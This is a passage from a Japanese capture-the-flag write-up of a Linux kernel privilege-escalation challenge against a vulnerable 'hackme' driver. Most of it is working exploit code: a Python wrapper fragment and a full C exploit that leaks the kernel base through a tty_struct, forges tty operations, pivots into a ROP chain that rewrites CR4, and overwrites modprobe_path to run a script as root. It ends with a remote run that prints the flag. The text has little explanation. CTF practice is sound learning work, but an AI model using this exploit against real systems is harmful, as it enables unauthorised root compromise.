"mov rax, 0\\n"
"syscall\\n"
"ret\\n"

"write:\\n"
"mov rax, 1\\n"
"syscall\\n"
"ret\\n"

"open:\\n"
"mov rax, 2\\n"
"syscall\\n"
"ret\\n"

"close:\\n"
"mov rax, 3\\n"
"syscall\\n"
"ret\\n"

"mmap:\\n"
"mov rax, 9\\n"
"mov r10, rcx\\n"
"syscall\\n"
"ret\\n"

"mprotect:\\n"
"mov rax, 10\\n"
"syscall\\n"
"ret\\n"

"munmap:\\n"
"mov rax, 11\\n"
"syscall\\n"
"ret\\n"

"ioctl:\\n"
"mov rax, 16\\n"
"syscall\\n"
"ret\\n"

"execve:\\n"
"mov rax, 59\\n"
"syscall\\n"
"ret\\n"

"exit:\\n"
"mov rax, 60\\n"
"syscall\\n"
);
    '''.format(path)

    program = tempfile.mktemp()
    source  = program + ".c"
    write(source, code)

    process('gcc {} -masm=intel -fno-PIE -nostdlib -no-pie -o {}'.format(source, program).split()).wait_for_close()
    exploit = base64.b64encode(open(program).read())

    os.unlink(program)
    os.unlink(source)

    return exploit

#==========

if __name__=='__main__':
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    comn.run(attack)
    comn.connection.interactive()
    
#==========

一応,Cのハイライトもあった方が見やすいので,同じコードだが...

// gcc exploit_minimal.c -masm=intel -fno-PIE -nostdlib -no-pie -o exploit
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>

size_t read(int fd, void *buf, size_t count);
size_t write(int fd, void *buf, size_t count);
int open(const char* pathname, int flags, ...);
int close(int fd);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int mprotect(void *addr, size_t len, int prot);
int munmap(void *addr, size_t length);
int ioctl(int fd, unsigned long request, ...);
int execve(const char *filename, char *const argv[], char *const envp[]);
void exit(int status);

void *memcpy(void *dest, const void *src, size_t n);

void return_user(void* func);

static void save_state(void);
static void restore_state(void);

struct state {
    unsigned long rip;
    unsigned long cs;
    unsigned long rflags;
    unsigned long rsp;
    unsigned long ss;
} stat;

/* exploit */
#define BASE           0xffffffff81000000
#define OFFSET(addr)   ((addr) - (BASE))
#define ADDR(offset)   (kernel_base + (offset))

unsigned long kernel_base             = 0;
unsigned long ofs_pty_unix98_ops      = OFFSET(0xffffffff81625c60);
unsigned long ofs_modprobe_path       = OFFSET(0xffffffff8183f960);

unsigned long ofs_stack_pivot         = OFFSET(0xffffffff81083b55);  // mov esp, 0xF6000000 ; ret
unsigned long ofs_pop_rdi             = OFFSET(0xffffffff81033de0);  // pop rdi ; ret
unsigned long ofs_pop_rax             = OFFSET(0xffffffff8101b5a1);  // pop rax ; ret
unsigned long ofs_popfq               = OFFSET(0xffffffff8101b5b1);  // popfq ; ret
unsigned long ofs_popfq_pop           = OFFSET(0xffffffff8100252f);  // popfq  ; pop rbp ; ret
unsigned long ofs_mov_rdi_rax_pop     = OFFSET(0xffffffff810161ae);  // mov rdi, rax ; rep movsq  ; pop rbp ; ret
unsigned long ofs_mov_cr4_eax_pop1    = OFFSET(0xffffffff8100252b);  // mov cr4, eax ; push rcx ; popfq  ; pop rbp ; ret

char *modprobe_path;

struct hackme {
    unsigned int index;
    void *addr;
    unsigned long size;
    unsigned long offset;
};

static int hm_add(int fd, unsigned long id, void *buf, unsigned long size);
static int hm_delete(int fd, unsigned long id);
static int hm_edit(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset);
static int hm_read(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset);

void _start(void){
    int fd, pfd;
    unsigned long tty_struct[0x400/sizeof(unsigned long)] = {};
    unsigned long fake_operation[0x20] = {};
    unsigned long *fake_stack;
    unsigned long kernel_stack[0x10] = {};

    save_state();

    if((fd = open("/dev/hackme", O_RDONLY)) < 0){
        // perror("open /dev/hackme failed");
        exit(-1);
    }

    pfd = open("/dev/ptmx", O_NOCTTY|O_RDWR);
    hm_add(fd, 0, tty_struct, 0x400);
    hm_read(fd, 0, tty_struct, 0x400, -0x400);

    unsigned long pty_unix98_ops  = tty_struct[3];
    kernel_base         = pty_unix98_ops - ofs_pty_unix98_ops;
    modprobe_path       = ADDR(ofs_modprobe_path);
    // printf("[+] kernel_base        = %p\n", kernel_base);

    unsigned long kernel_heap = tty_struct[8]-0x38 + 0x400;
    // printf("[+] kernel_heap        = %p\n", kernel_heap);

    fake_operation[0x15] = ADDR(ofs_popfq_pop);
    fake_operation[0x13] = ADDR(ofs_stack_pivot);
    hm_edit(fd, 0, fake_operation, sizeof(fake_operation), 0);

    tty_struct[0x3] = kernel_heap;
    hm_edit(fd, 0, tty_struct, 0x400, -0x400);

    if((fake_stack = mmap((void*)(0xf6000000-0x1000), 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) != (void*)(0xf6000000-0x1000)){
        // perror("mmap failed");
        exit(-3);
    }
    fake_stack += (0x1000/sizeof(unsigned long));
    *(fake_stack++) = ADDR(ofs_pop_rax);
    *(fake_stack++) = 0x6b0;                       // new cr4
    *(fake_stack++) = ADDR(ofs_mov_cr4_eax_pop1);
    *(fake_stack++) = 0xdeadbeef;
    *(fake_stack++) = ADDR(ofs_popfq);
    *(fake_stack++) = 0x40202;                     // new rflags
    *(fake_stack++) = ADDR(ofs_pop_rdi);
    *(fake_stack++) = exit;
    *(fake_stack++) = return_user;

    close(pfd);
}

static int hm_add(int fd, unsigned long id, void *buf, unsigned long size){
    struct hackme req = {
        .index = id,
        .addr = buf,
        .size = size,
        .offset = 0,
    };
    return ioctl(fd, 0x30000, &req);
}

static int hm_delete(int fd, unsigned long id){
    struct hackme req = {
        .index = id,
        .addr = NULL,
        .size = 0,
        .offset = 0,
    };
    return ioctl(fd, 0x30001, &req);
}

static int hm_edit(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset){
    struct hackme req = {
        .index = id,
        .addr = buf,
        .size = size,
        .offset = offset,
    };
    return ioctl(fd, 0x30002, &req);
}

static int hm_read(int fd, unsigned long id, void *buf, unsigned long size, unsigned long offset){
    struct hackme req = {
        .index = id,
        .addr = buf,
        .size = size,
        .offset = offset,
    };
    return ioctl(fd, 0x30003, &req);
}

/* funcs */
static void save_state(void) {
    register long *rsp asm("rsp");

    asm(
    "mov rax, ss\n"
    "push rax\n"
    "lea rax, [rsp+0x18]\n"
    "push rax\n"
    "pushfq\n"
    "mov rax, cs\n"
    "push rax\n"
    "mov rax, [rbp+8]\n"
    "push rax\n"
    );
    memcpy(&stat, rsp, sizeof(stat));
    asm("add rsp, 0x28");
}

static void restore_state(void){
    register long *rsp asm("rsp");

    asm("sub rsp, 0x28");
    memcpy(rsp, &stat, sizeof(stat));
    asm(
    "swapgs\n"
    "iretq"
    );
    __builtin_unreachable();
}

void return_user(void* func){
    char new_path[] = "/home/pwn/exploit.sh";
    memcpy(modprobe_path, new_path, sizeof(new_path));

    stat.rip = func;
    restore_state();
}

void *memcpy(void *dest, const void *src, size_t n){
    for(int i=0; i<n; i++)
        *(char*)(dest+i) = *(char*)(src+i);
    return dest;
}

asm(
"read:\n"
"mov rax, 0\n"
"syscall\n"
"ret\n"

"write:\n"
"mov rax, 1\n"
"syscall\n"
"ret\n"

"open:\n"
"mov rax, 2\n"
"syscall\n"
"ret\n"

"close:\n"
"mov rax, 3\n"
"syscall\n"
"ret\n"

"mmap:\n"
"mov rax, 9\n"
"mov r10, rcx\n"
"syscall\n"
"ret\n"

"mprotect:\n"
"mov rax, 10\n"
"syscall\n"
"ret\n"

"munmap:\n"
"mov rax, 11\n"
"syscall\n"
"ret\n"

"ioctl:\n"
"mov rax, 16\n"
"syscall\n"
"ret\n"

"execve:\n"
"mov rax, 59\n"
"syscall\n"
"ret\n"

"exit:\n"
"mov rax, 60\n"
"syscall\n"
);

実行結果

$ ./exploit.py
Select Environment
['remote', 'local'] ...r
[*] Environment : set environment "remote"
[+] Connecting to 35.221.78.115 on port 10022: Done
[+] Opening new channel: 'shell': Done
[+] Starting local process '/usr/bin/gcc': pid 32235
[*] Process '/usr/bin/gcc' stopped with exit code 0 (pid 32235)
[*] Switching to interactive mode
 cat /flag
*CTF{userf4ult_fd_m4kes_d0uble_f3tch_perfect}
~ $ exit
[   10.485649] reboot: Power down
[*] Got EOF while reading in interactive
[*] Closed SSH channel with 35.221.78.115

userfaultfd??
なんのこっちゃ